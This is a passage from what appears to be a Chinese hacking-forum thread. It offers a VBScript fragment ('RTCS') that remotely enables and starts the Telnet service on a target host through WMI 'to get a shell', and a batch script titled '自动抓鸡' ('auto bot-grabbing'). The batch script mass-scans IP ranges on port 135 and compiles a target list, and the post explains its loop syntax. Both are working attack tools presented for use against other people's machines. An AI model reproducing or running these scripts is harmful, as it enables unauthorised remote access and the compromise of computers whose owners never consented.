wscript.echo "Querying state of telnet server...." set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password) set colinstances=objswbemservices.execquery("select * from win32_service where name=’tlntsvr’") for each objinstance in colinstances if objinstance.startmode="Disabled" then wscript.echo "Telnet server has been disabled. Now changeing start mode to manual...." set objmethod=objinstance.methods_("changestartmode") set objinparam=objmethod.inparameters.spawninstance_() objinparam.startmode="Manual" set objoutparam=objinstance.execmethod_("changestartmode",objinparam) showerror(objoutparam.returnvalue) end if wscript.echo "Changeing state...." if objinstance.started=true then intstatus=objinstance.stopservice() showerror(intstatus) wscript.echo "Target telnet server has been STOP Successfully." else intstatus=objinstance.startservice() showerror(intstatus) wscript.echo "Target telnet server has been START Successfully!" wscript.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell." end if next
function showerror(errornumber) if errornumber<>0 then wscript.echo "Error!" wscript.quit else wscript.echo "OK!" end if end function
function usage() wscript.echo "************************************************************************" wscript.echo "RTCS v1.08" wscript.echo "Remote Telnet Configure Script, by zzzevazzz" wscript.echo "Welcome to visite www.isgrey.com" wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password NTLMAuthor telnetport" wscript.echo "It will auto change state of target telnet server." wscript.echo "************************************************************************" end function
经典吧,呵呵,我觉得,呵呵,管理员要给我加钱啊,呵呵 关于for循环 我解释下
for /f这个这个参数表示对文本操作
tokens表示截取 tokens=1,2表示选取1,2两个部分 eol表示忽略 eol=-表示忽略-开始的行 delims表示分割符 delims=,表示对每行以“,”为分割符号对行进行分割字符
那么我给大家写一个S扫描自动整理IP的批处理把
s.bat
setlocal cls color A title 自动抓鸡v1.0 echo ====================================================== echo 自动抓鸡v1.0 echo 作者:hurrytigar echo QQ:30144942 echo emil:hurrytigar@163.com echo hacked by hurrytigar echo ====================================================== del result.txt del s.txt for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s tcp %%i %%j 135 1000 /save for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>s.txt del s1.txt del s2.txt del Result.txt
扫描那行的FOR循环 for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s tcp %%i %%j 135 1000 /save 意思是说 从ip.txt中对每行以空格分割 然后取得分割后的第一部分和第二部分字符
第一个%%i是形参 代替你要取出来的部分 那么后面的2个部分的%%i 和%%j表示取出的两个部分按顺序代替的参数了
后面的几行都是扫描完成的result过滤整理 先忽略以空格 - P S开头的行 然后用echo写入文本来转的
用法 大家把上面的批处理代码保存成 s.bat然后在同一目录建立一个ip.txt的文本
然后把下面的这些复制进IP。TXT里面 (不需要整理 直接全放进去 汉字不需要去掉)
扫描和整理结束以后会有一个S。TXT文本 自己打开看看效果把 ^_^ 忘了说了把s.exe ip.txt和s.bat放在同一目录 好了我闪了.上一页 1 2 |